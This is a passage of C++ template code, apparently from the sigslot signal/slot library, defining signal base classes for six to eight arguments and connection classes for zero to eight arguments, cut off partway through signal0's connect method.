disconnect(has_slots<mt_policy>* pclass)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\titerator it = m_connected_slots.begin();\n\t\t\titerator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\tif((*it)->getdest() == pclass)\n\t\t\t\t{\n\t\t\t\t\tdelete *it;\n\t\t\t\t\tm_connected_slots.erase(it);\n\t\t\t\t\tpclass->signal_disconnect(this);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\t++it;\n\t\t\t}\n\t\t}\n\n\t\tbool connected()\n\t\t{\n\t\t\treturn m_connected_slots.size() != 0;\n\t\t}\n\n\t\tvoid slot_disconnect(has_slots<mt_policy>* pslot)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\titerator it = m_connected_slots.begin();\n\t\t\titerator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\titerator itNext = it;\n\t\t\t\t++itNext;\n\n\t\t\t\tif((*it)->getdest() == pslot)\n\t\t\t\t{\n\t\t\t\t\tdelete *it;\n\t\t\t\t\tm_connected_slots.erase(it);\n\t\t\t\t\t//\t\t\tdelete *it;\n\t\t\t\t}\n\n\t\t\t\tit = itNext;\n\t\t\t}\n\t\t}\n\n\tprotected:\n\t\tconnections_list m_connected_slots;\n\t};\n\n\ttemplate<class arg1_type, class arg2_type, class arg3_type, class arg4_type,\n\tclass arg5_type, class arg6_type, class mt_policy>\n\tclass _signal_base6 : public _signal_base<mt_policy>\n\t{\n\tpublic:\n\t\ttypedef std::list<_connection_base6<arg1_type, arg2_type, arg3_type,\n\t\t\targ4_type, arg5_type, arg6_type, mt_policy> *>  connections_list;\n\t\ttypedef typename connections_list::const_iterator const_iterator;\n\t\ttypedef typename connections_list::iterator iterator;\n\n\t\t_signal_base6()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\t_signal_base6(const _signal_base6<arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\targ5_type, arg6_type, mt_policy>& s)\n\t\t\t: _signal_base<mt_policy>(s)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator it = s.m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = s.m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\t(*it)->getdest()->signal_connect(this);\n\t\t\t\tm_connected_slots.push_back((*it)->clone());\n\n\t\t\t\t++it;\n\t\t\t}\n\t\t}\n\n\t\tvoid slot_duplicate(const has_slots<mt_policy>* oldtarget, has_slots<mt_policy>* newtarget)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\titerator it = m_connected_slots.begin();\n\t\t\titerator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\tif((*it)->getdest() == oldtarget)\n\t\t\t\t{\n\t\t\t\t\tm_connected_slots.push_back((*it)->duplicate(newtarget));\n\t\t\t\t}\n\n\t\t\t\t++it;\n\t\t\t}\n\t\t}\n\n\t\t~_signal_base6()\n\t\t{\n\t\t\tdisconnect_all();\n\t\t}\n\n\t\tvoid disconnect_all()\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator it = m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\t(*it)->getdest()->signal_disconnect(this);\n\t\t\t\tdelete *it;\n\n\t\t\t\t++it;\n\t\t\t}\n\n\t\t\tm_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end());\n\t\t}\n\n\t\tvoid disconnect(has_slots<mt_policy>* pclass)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\titerator it = m_connected_slots.begin();\n\t\t\titerator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\tif((*it)->getdest() == pclass)\n\t\t\t\t{\n\t\t\t\t\tdelete *it;\n\t\t\t\t\tm_connected_slots.erase(it);\n\t\t\t\t\tpclass->signal_disconnect(this);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\t++it;\n\t\t\t}\n\t\t}\n\n\t\tbool connected()\n\t\t{\n\t\t\treturn m_connected_slots.size() != 0;\n\t\t}\n\n\t\tvoid slot_disconnect(has_slots<mt_policy>* pslot)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\titerator it = m_connected_slots.begin();\n\t\t\titerator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\titerator itNext = it;\n\t\t\t\t++itNext;\n\n\t\t\t\tif((*it)->getdest() == pslot)\n\t\t\t\t{\n\t\t\t\t\tdelete *it;\n\t\t\t\t\tm_connected_slots.erase(it);\n\t\t\t\t\t//\t\t\tdelete *it;\n\t\t\t\t}\n\n\t\t\t\tit = itNext;\n\t\t\t}\n\t\t}\n\n\tprotected:\n\t\tconnections_list m_connected_slots;\n\t};\n\n\ttemplate<class arg1_type, class arg2_type, class arg3_type, class arg4_type,\n\tclass arg5_type, class arg6_type, class arg7_type, class mt_policy>\n\tclass _signal_base7 : public _signal_base<mt_policy>\n\t{\n\tpublic:\n\t\ttypedef std::list<_connection_base7<arg1_type, arg2_type, arg3_type,\n\t\t\targ4_type, arg5_type, arg6_type, arg7_type, mt_policy> *>  connections_list;\n\t\ttypedef typename connections_list::const_iterator const_iterator;\n\t\ttypedef typename connections_list::iterator iterator;\n\n\t\t_signal_base7()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\t_signal_base7(const _signal_base7<arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\targ5_type, arg6_type, arg7_type, mt_policy>& s)\n\t\t\t: _signal_base<mt_policy>(s)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator it = s.m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = s.m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\t(*it)->getdest()->signal_connect(this);\n\t\t\t\tm_connected_slots.push_back((*it)->clone());\n\n\t\t\t\t++it;\n\t\t\t}\n\t\t}\n\n\t\tvoid slot_duplicate(const has_slots<mt_policy>* oldtarget, has_slots<mt_policy>* newtarget)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\titerator it = m_connected_slots.begin();\n\t\t\titerator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\tif((*it)->getdest() == oldtarget)\n\t\t\t\t{\n\t\t\t\t\tm_connected_slots.push_back((*it)->duplicate(newtarget));\n\t\t\t\t}\n\n\t\t\t\t++it;\n\t\t\t}\n\t\t}\n\n\t\t~_signal_base7()\n\t\t{\n\t\t\tdisconnect_all();\n\t\t}\n\n\t\tvoid disconnect_all()\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator it = m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\t(*it)->getdest()->signal_disconnect(this);\n\t\t\t\tdelete *it;\n\n\t\t\t\t++it;\n\t\t\t}\n\n\t\t\tm_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end());\n\t\t}\n\n\t\tvoid disconnect(has_slots<mt_policy>* pclass)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\titerator it = m_connected_slots.begin();\n\t\t\titerator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\tif((*it)->getdest() == pclass)\n\t\t\t\t{\n\t\t\t\t\tdelete *it;\n\t\t\t\t\tm_connected_slots.erase(it);\n\t\t\t\t\tpclass->signal_disconnect(this);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\t++it;\n\t\t\t}\n\t\t}\n\n\t\tbool connected()\n\t\t{\n\t\t\treturn m_connected_slots.size() != 0;\n\t\t}\n\n\t\tvoid slot_disconnect(has_slots<mt_policy>* pslot)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\titerator it = m_connected_slots.begin();\n\t\t\titerator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\titerator itNext = it;\n\t\t\t\t++itNext;\n\n\t\t\t\tif((*it)->getdest() == pslot)\n\t\t\t\t{\n\t\t\t\t\tdelete *it;\n\t\t\t\t\tm_connected_slots.erase(it);\n\t\t\t\t\t//\t\t\tdelete *it;\n\t\t\t\t}\n\n\t\t\t\tit = itNext;\n\t\t\t}\n\t\t}\n\n\tprotected:\n\t\tconnections_list m_connected_slots;\n\t};\n\n\ttemplate<class arg1_type, class arg2_type, class arg3_type, class arg4_type,\n\tclass arg5_type, class arg6_type, class arg7_type, class arg8_type, class mt_policy>\n\tclass _signal_base8 : public _signal_base<mt_policy>\n\t{\n\tpublic:\n\t\ttypedef std::list<_connection_base8<arg1_type, arg2_type, arg3_type,\n\t\t\targ4_type, arg5_type, arg6_type, arg7_type, arg8_type, mt_policy> *>\n\t\t\tconnections_list;\n\t\ttypedef typename connections_list::const_iterator const_iterator;\n\t\ttypedef typename connections_list::iterator iterator;\n\n\t\t_signal_base8()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\t_signal_base8(const _signal_base8<arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\targ5_type, arg6_type, arg7_type, arg8_type, mt_policy>& s)\n\t\t\t: _signal_base<mt_policy>(s)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator it = s.m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = s.m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\t(*it)->getdest()->signal_connect(this);\n\t\t\t\tm_connected_slots.push_back((*it)->clone());\n\n\t\t\t\t++it;\n\t\t\t}\n\t\t}\n\n\t\tvoid slot_duplicate(const has_slots<mt_policy>* oldtarget, has_slots<mt_policy>* newtarget)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\titerator it = m_connected_slots.begin();\n\t\t\titerator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\tif((*it)->getdest() == oldtarget)\n\t\t\t\t{\n\t\t\t\t\tm_connected_slots.push_back((*it)->duplicate(newtarget));\n\t\t\t\t}\n\n\t\t\t\t++it;\n\t\t\t}\n\t\t}\n\n\t\t~_signal_base8()\n\t\t{\n\t\t\tdisconnect_all();\n\t\t}\n\n\t\tvoid disconnect_all()\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator it = m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\t(*it)->getdest()->signal_disconnect(this);\n\t\t\t\tdelete *it;\n\n\t\t\t\t++it;\n\t\t\t}\n\n\t\t\tm_connected_slots.erase(m_connected_slots.begin(), m_connected_slots.end());\n\t\t}\n\n\t\tvoid disconnect(has_slots<mt_policy>* pclass)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\titerator it = m_connected_slots.begin();\n\t\t\titerator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\tif((*it)->getdest() == pclass)\n\t\t\t\t{\n\t\t\t\t\tdelete *it;\n\t\t\t\t\tm_connected_slots.erase(it);\n\t\t\t\t\tpclass->signal_disconnect(this);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\n\t\t\t\t++it;\n\t\t\t}\n\t\t}\n\n\t\tbool connected()\n\t\t{\n\t\t\treturn m_connected_slots.size() != 0;\n\t\t}\n\n\t\tvoid slot_disconnect(has_slots<mt_policy>* pslot)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\titerator it = m_connected_slots.begin();\n\t\t\titerator itEnd = m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\titerator itNext = it;\n\t\t\t\t++itNext;\n\n\t\t\t\tif((*it)->getdest() == pslot)\n\t\t\t\t{\n\t\t\t\t\tdelete *it;\n\t\t\t\t\tm_connected_slots.erase(it);\n\t\t\t\t\t//\t\t\tdelete *it;\n\t\t\t\t}\n\n\t\t\t\tit = itNext;\n\t\t\t}\n\t\t}\n\n\tprotected:\n\t\tconnections_list m_connected_slots;\n\t};\n\n\n\ttemplate<class dest_type, class mt_policy>\n\tclass _connection0 : public _connection_base0<mt_policy>\n\t{\n\tpublic:\n\t\t_connection0()\n\t\t{\n\t\t\tthis->pobject = NULL;\n\t\t\tthis->pmemfun = NULL;\n\t\t}\n\n\t\t_connection0(dest_type* pobject, void (dest_type::*pmemfun)())\n\t\t{\n\t\t\tm_pobject = pobject;\n\t\t\tm_pmemfun = pmemfun;\n\t\t}\n\n\t\tvirtual ~_connection0()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tvirtual _connection_base0<mt_policy>* clone()\n\t\t{\n\t\t\treturn new _connection0<dest_type, mt_policy>(*this);\n\t\t}\n\n\t\tvirtual _connection_base0<mt_policy>* duplicate(has_slots<mt_policy>* pnewdest)\n\t\t{\n\t\t\treturn new _connection0<dest_type, mt_policy>((dest_type *)pnewdest, m_pmemfun);\n\t\t}\n\n\t\tvirtual void emit()\n\t\t{\n\t\t\t(m_pobject->*m_pmemfun)();\n\t\t}\n\n\t\tvirtual has_slots<mt_policy>* getdest() const\n\t\t{\n\t\t\treturn m_pobject;\n\t\t}\n\n\tprivate:\n\t\tdest_type* m_pobject;\n\t\tvoid (dest_type::* m_pmemfun)();\n\t};\n\n\ttemplate<class dest_type, class arg1_type, class mt_policy>\n\tclass _connection1 : public _connection_base1<arg1_type, mt_policy>\n\t{\n\tpublic:\n\t\t_connection1()\n\t\t{\n\t\t\tthis->pobject = NULL;\n\t\t\tthis->pmemfun = NULL;\n\t\t}\n\n\t\t_connection1(dest_type* pobject, void (dest_type::*pmemfun)(arg1_type))\n\t\t{\n\t\t\tm_pobject = pobject;\n\t\t\tm_pmemfun = pmemfun;\n\t\t}\n\n\t\tvirtual ~_connection1()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tvirtual _connection_base1<arg1_type, mt_policy>* clone()\n\t\t{\n\t\t\treturn new _connection1<dest_type, arg1_type, mt_policy>(*this);\n\t\t}\n\n\t\tvirtual _connection_base1<arg1_type, mt_policy>* duplicate(has_slots<mt_policy>* pnewdest)\n\t\t{\n\t\t\treturn new _connection1<dest_type, arg1_type, mt_policy>((dest_type *)pnewdest, m_pmemfun);\n\t\t}\n\n\t\tvirtual void emit(arg1_type a1)\n\t\t{\n\t\t\t(m_pobject->*m_pmemfun)(a1);\n\t\t}\n\n\t\tvirtual has_slots<mt_policy>* getdest() const\n\t\t{\n\t\t\treturn m_pobject;\n\t\t}\n\n\tprivate:\n\t\tdest_type* m_pobject;\n\t\tvoid (dest_type::* m_pmemfun)(arg1_type);\n\t};\n\n\ttemplate<class dest_type, class arg1_type, class arg2_type, class mt_policy>\n\tclass _connection2 : public _connection_base2<arg1_type, arg2_type, mt_policy>\n\t{\n\tpublic:\n\t\t_connection2()\n\t\t{\n\t\t\tthis->pobject = NULL;\n\t\t\tthis->pmemfun = NULL;\n\t\t}\n\n\t\t_connection2(dest_type* pobject, void (dest_type::*pmemfun)(arg1_type,\n\t\t\targ2_type))\n\t\t{\n\t\t\tm_pobject = pobject;\n\t\t\tm_pmemfun = pmemfun;\n\t\t}\n\n\t\tvirtual ~_connection2()\n\t\t{\n\t\t\t;\n\t\t}\n\n\n\t\tvirtual _connection_base2<arg1_type, arg2_type, mt_policy>* clone()\n\t\t{\n\t\t\treturn new _connection2<dest_type, arg1_type, arg2_type, mt_policy>(*this);\n\t\t}\n\n\t\tvirtual _connection_base2<arg1_type, arg2_type, mt_policy>* duplicate(has_slots<mt_policy>* pnewdest)\n\t\t{\n\t\t\treturn new _connection2<dest_type, arg1_type, arg2_type, mt_policy>((dest_type *)pnewdest, m_pmemfun);\n\t\t}\n\n\t\tvirtual void emit(arg1_type a1, arg2_type a2)\n\t\t{\n\t\t\t(m_pobject->*m_pmemfun)(a1, a2);\n\t\t}\n\n\t\tvirtual has_slots<mt_policy>* getdest() const\n\t\t{\n\t\t\treturn m_pobject;\n\t\t}\n\n\tprivate:\n\t\tdest_type* m_pobject;\n\t\tvoid (dest_type::* m_pmemfun)(arg1_type, arg2_type);\n\t};\n\n\ttemplate<class dest_type, class arg1_type, class arg2_type, class arg3_type, class mt_policy>\n\tclass _connection3 : public _connection_base3<arg1_type, arg2_type, arg3_type, mt_policy>\n\t{\n\tpublic:\n\t\t_connection3()\n\t\t{\n\t\t\tthis->pobject = NULL;\n\t\t\tthis->pmemfun = NULL;\n\t\t}\n\n\t\t_connection3(dest_type* pobject, void (dest_type::*pmemfun)(arg1_type,\n\t\t\targ2_type, arg3_type))\n\t\t{\n\t\t\tm_pobject = pobject;\n\t\t\tm_pmemfun = pmemfun;\n\t\t}\n\n\t\t\t\tvirtual ~_connection3()\n\t\t\t\t{\n\t\t\t\t\t\t;\n\t\t\t\t}\n\n\n\t\tvirtual _connection_base3<arg1_type, arg2_type, arg3_type, mt_policy>* clone()\n\t\t{\n\t\t\treturn new _connection3<dest_type, arg1_type, arg2_type, arg3_type, mt_policy>(*this);\n\t\t}\n\n\t\tvirtual _connection_base3<arg1_type, arg2_type, arg3_type, mt_policy>* duplicate(has_slots<mt_policy>* pnewdest)\n\t\t{\n\t\t\treturn new _connection3<dest_type, arg1_type, arg2_type, arg3_type, mt_policy>((dest_type *)pnewdest, m_pmemfun);\n\t\t}\n\n\t\tvirtual void emit(arg1_type a1, arg2_type a2, arg3_type a3)\n\t\t{\n\t\t\t(m_pobject->*m_pmemfun)(a1, a2, a3);\n\t\t}\n\n\t\tvirtual has_slots<mt_policy>* getdest() const\n\t\t{\n\t\t\treturn m_pobject;\n\t\t}\n\n\tprivate:\n\t\tdest_type* m_pobject;\n\t\tvoid (dest_type::* m_pmemfun)(arg1_type, arg2_type, arg3_type);\n\t};\n\n\ttemplate<class dest_type, class arg1_type, class arg2_type, class arg3_type,\n\tclass arg4_type, class mt_policy>\n\tclass _connection4 : public _connection_base4<arg1_type, arg2_type,\n\t\targ3_type, arg4_type, mt_policy>\n\t{\n\tpublic:\n\t\t_connection4()\n\t\t{\n\t\t\tthis->pobject = NULL;\n\t\t\tthis->pmemfun = NULL;\n\t\t}\n\n\t\t_connection4(dest_type* pobject, void (dest_type::*pmemfun)(arg1_type,\n\t\t\targ2_type, arg3_type, arg4_type))\n\t\t{\n\t\t\tm_pobject = pobject;\n\t\t\tm_pmemfun = pmemfun;\n\t\t}\n\n\t\t\t\tvirtual ~_connection4()\n\t\t\t\t{\n\t\t\t\t\t\t;\n\t\t\t\t}\n\n\t\tvirtual _connection_base4<arg1_type, arg2_type, arg3_type, arg4_type, mt_policy>* clone()\n\t\t{\n\t\t\treturn new _connection4<dest_type, arg1_type, arg2_type, arg3_type, arg4_type, mt_policy>(*this);\n\t\t}\n\n\t\tvirtual _connection_base4<arg1_type, arg2_type, arg3_type, arg4_type, mt_policy>* duplicate(has_slots<mt_policy>* pnewdest)\n\t\t{\n\t\t\treturn new _connection4<dest_type, arg1_type, arg2_type, arg3_type, arg4_type, mt_policy>((dest_type *)pnewdest, m_pmemfun);\n\t\t}\n\n\t\tvirtual void emit(arg1_type a1, arg2_type a2, arg3_type a3,\n\t\t\targ4_type a4)\n\t\t{\n\t\t\t(m_pobject->*m_pmemfun)(a1, a2, a3, a4);\n\t\t}\n\n\t\tvirtual has_slots<mt_policy>* getdest() const\n\t\t{\n\t\t\treturn m_pobject;\n\t\t}\n\n\tprivate:\n\t\tdest_type* m_pobject;\n\t\tvoid (dest_type::* m_pmemfun)(arg1_type, arg2_type, arg3_type,\n\t\t\targ4_type);\n\t};\n\n\ttemplate<class dest_type, class arg1_type, class arg2_type, class arg3_type,\n\tclass arg4_type, class arg5_type, class mt_policy>\n\tclass _connection5 : public _connection_base5<arg1_type, arg2_type,\n\t\targ3_type, arg4_type, arg5_type, mt_policy>\n\t{\n\tpublic:\n\t\t_connection5()\n\t\t{\n\t\t\tthis->pobject = NULL;\n\t\t\tthis->pmemfun = NULL;\n\t\t}\n\n\t\t_connection5(dest_type* pobject, void (dest_type::*pmemfun)(arg1_type,\n\t\t\targ2_type, arg3_type, arg4_type, arg5_type))\n\t\t{\n\t\t\tm_pobject = pobject;\n\t\t\tm_pmemfun = pmemfun;\n\t\t}\n\n\t\t\t\tvirtual ~_connection5()\n\t\t\t\t{\n\t\t\t\t\t\t;\n\t\t\t\t}\n\n\t\tvirtual _connection_base5<arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\targ5_type, mt_policy>* clone()\n\t\t{\n\t\t\treturn new _connection5<dest_type, arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\t\targ5_type, mt_policy>(*this);\n\t\t}\n\n\t\tvirtual _connection_base5<arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\targ5_type, mt_policy>* duplicate(has_slots<mt_policy>* pnewdest)\n\t\t{\n\t\t\treturn new _connection5<dest_type, arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\t\targ5_type, mt_policy>((dest_type *)pnewdest, m_pmemfun);\n\t\t}\n\n\t\tvirtual void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4,\n\t\t\targ5_type a5)\n\t\t{\n\t\t\t(m_pobject->*m_pmemfun)(a1, a2, a3, a4, a5);\n\t\t}\n\n\t\tvirtual has_slots<mt_policy>* getdest() const\n\t\t{\n\t\t\treturn m_pobject;\n\t\t}\n\n\tprivate:\n\t\tdest_type* m_pobject;\n\t\tvoid (dest_type::* m_pmemfun)(arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\targ5_type);\n\t};\n\n\ttemplate<class dest_type, class arg1_type, class arg2_type, class arg3_type,\n\tclass arg4_type, class arg5_type, class arg6_type, class mt_policy>\n\tclass _connection6 : public _connection_base6<arg1_type, arg2_type,\n\t\targ3_type, arg4_type, arg5_type, arg6_type, mt_policy>\n\t{\n\tpublic:\n\t\t_connection6()\n\t\t{\n\t\t\tthis->pobject = NULL;\n\t\t\tthis->pmemfun = NULL;\n\t\t}\n\n\t\t_connection6(dest_type* pobject, void (dest_type::*pmemfun)(arg1_type,\n\t\t\targ2_type, arg3_type, arg4_type, arg5_type, arg6_type))\n\t\t{\n\t\t\tm_pobject = pobject;\n\t\t\tm_pmemfun = pmemfun;\n\t\t}\n\n\t\t\t\tvirtual ~_connection6()\n\t\t\t\t{\n\t\t\t\t\t\t;\n\t\t\t\t}\n\n\t\tvirtual _connection_base6<arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\targ5_type, arg6_type, mt_policy>* clone()\n\t\t{\n\t\t\treturn new _connection6<dest_type, arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\t\targ5_type, arg6_type, mt_policy>(*this);\n\t\t}\n\n\t\tvirtual _connection_base6<arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\targ5_type, arg6_type, mt_policy>* duplicate(has_slots<mt_policy>* pnewdest)\n\t\t{\n\t\t\treturn new _connection6<dest_type, arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\t\targ5_type, arg6_type, mt_policy>((dest_type *)pnewdest, m_pmemfun);\n\t\t}\n\n\t\tvirtual void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4,\n\t\t\targ5_type a5, arg6_type a6)\n\t\t{\n\t\t\t(m_pobject->*m_pmemfun)(a1, a2, a3, a4, a5, a6);\n\t\t}\n\n\t\tvirtual has_slots<mt_policy>* getdest() const\n\t\t{\n\t\t\treturn m_pobject;\n\t\t}\n\n\tprivate:\n\t\tdest_type* m_pobject;\n\t\tvoid (dest_type::* m_pmemfun)(arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\targ5_type, arg6_type);\n\t};\n\n\ttemplate<class dest_type, class arg1_type, class arg2_type, class arg3_type,\n\tclass arg4_type, class arg5_type, class arg6_type, class arg7_type, class mt_policy>\n\tclass _connection7 : public _connection_base7<arg1_type, arg2_type,\n\t\targ3_type, arg4_type, arg5_type, arg6_type, arg7_type, mt_policy>\n\t{\n\tpublic:\n\t\t_connection7()\n\t\t{\n\t\t\tthis->pobject = NULL;\n\t\t\tthis->pmemfun = NULL;\n\t\t}\n\n\t\t_connection7(dest_type* pobject, void (dest_type::*pmemfun)(arg1_type,\n\t\t\targ2_type, arg3_type, arg4_type, arg5_type, arg6_type, arg7_type))\n\t\t{\n\t\t\tm_pobject = pobject;\n\t\t\tm_pmemfun = pmemfun;\n\t\t}\n\n\t\t\t\tvirtual ~_connection7()\n\t\t\t\t{\n\t\t\t\t\t\t;\n\t\t\t\t}\n\n\t\tvirtual _connection_base7<arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\targ5_type, arg6_type, arg7_type, mt_policy>* clone()\n\t\t{\n\t\t\treturn new _connection7<dest_type, arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\t\targ5_type, arg6_type, arg7_type, mt_policy>(*this);\n\t\t}\n\n\t\tvirtual _connection_base7<arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\targ5_type, arg6_type, arg7_type, mt_policy>* duplicate(has_slots<mt_policy>* pnewdest)\n\t\t{\n\t\t\treturn new _connection7<dest_type, arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\t\targ5_type, arg6_type, arg7_type, mt_policy>((dest_type *)pnewdest, m_pmemfun);\n\t\t}\n\n\t\tvirtual void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4,\n\t\t\targ5_type a5, arg6_type a6, arg7_type a7)\n\t\t{\n\t\t\t(m_pobject->*m_pmemfun)(a1, a2, a3, a4, a5, a6, a7);\n\t\t}\n\n\t\tvirtual has_slots<mt_policy>* getdest() const\n\t\t{\n\t\t\treturn m_pobject;\n\t\t}\n\n\tprivate:\n\t\tdest_type* m_pobject;\n\t\tvoid (dest_type::* m_pmemfun)(arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\targ5_type, arg6_type, arg7_type);\n\t};\n\n\ttemplate<class dest_type, class arg1_type, class arg2_type, class arg3_type,\n\tclass arg4_type, class arg5_type, class arg6_type, class arg7_type,\n\tclass arg8_type, class mt_policy>\n\tclass _connection8 : public _connection_base8<arg1_type, arg2_type,\n\t\targ3_type, arg4_type, arg5_type, arg6_type, arg7_type, arg8_type, mt_policy>\n\t{\n\tpublic:\n\t\t_connection8()\n\t\t{\n\t\t\tthis->pobject = NULL;\n\t\t\tthis->pmemfun = NULL;\n\t\t}\n\n\t\t_connection8(dest_type* pobject, void (dest_type::*pmemfun)(arg1_type,\n\t\t\targ2_type, arg3_type, arg4_type, arg5_type, arg6_type,\n\t\t\targ7_type, arg8_type))\n\t\t{\n\t\t\tm_pobject = pobject;\n\t\t\tm_pmemfun = pmemfun;\n\t\t}\n\n\t\t\t\tvirtual ~_connection8()\n\t\t\t\t{\n\t\t\t\t\t\t;\n\t\t\t\t}\n\n\t\tvirtual _connection_base8<arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\targ5_type, arg6_type, arg7_type, arg8_type, mt_policy>* clone()\n\t\t{\n\t\t\treturn new _connection8<dest_type, arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\t\targ5_type, arg6_type, arg7_type, arg8_type, mt_policy>(*this);\n\t\t}\n\n\t\tvirtual _connection_base8<arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\targ5_type, arg6_type, arg7_type, arg8_type, mt_policy>* duplicate(has_slots<mt_policy>* pnewdest)\n\t\t{\n\t\t\treturn new _connection8<dest_type, arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\t\targ5_type, arg6_type, arg7_type, arg8_type, mt_policy>((dest_type *)pnewdest, m_pmemfun);\n\t\t}\n\n\t\tvirtual void emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4,\n\t\t\targ5_type a5, arg6_type a6, arg7_type a7, arg8_type a8)\n\t\t{\n\t\t\t(m_pobject->*m_pmemfun)(a1, a2, a3, a4, a5, a6, a7, a8);\n\t\t}\n\n\t\tvirtual has_slots<mt_policy>* getdest() const\n\t\t{\n\t\t\treturn m_pobject;\n\t\t}\n\n\tprivate:\n\t\tdest_type* m_pobject;\n\t\tvoid (dest_type::* m_pmemfun)(arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\targ5_type, arg6_type, arg7_type, arg8_type);\n\t};\n\n\ttemplate<class mt_policy = SIGSLOT_DEFAULT_MT_POLICY>\n\tclass signal0 : public _signal_base0<mt_policy>\n\t{\n\tpublic:\n\t\ttypedef typename _signal_base0<mt_policy>::connections_list::const_iterator const_iterator;\n\t\tsignal0()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tsignal0(const signal0<mt_policy>& s)\n\t\t\t: _signal_base0<mt_policy>(s)\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tvirtual ~signal0()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\ttemplate<class desttype>\n\t\t\tvoid connect(desttype* pclass, void (desttype::*pmemfun)())\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\t_connection0<desttype, mt_policy>* conn =\n\t\t\t\tnew _connection0<desttype, mt_policy>(pclass, 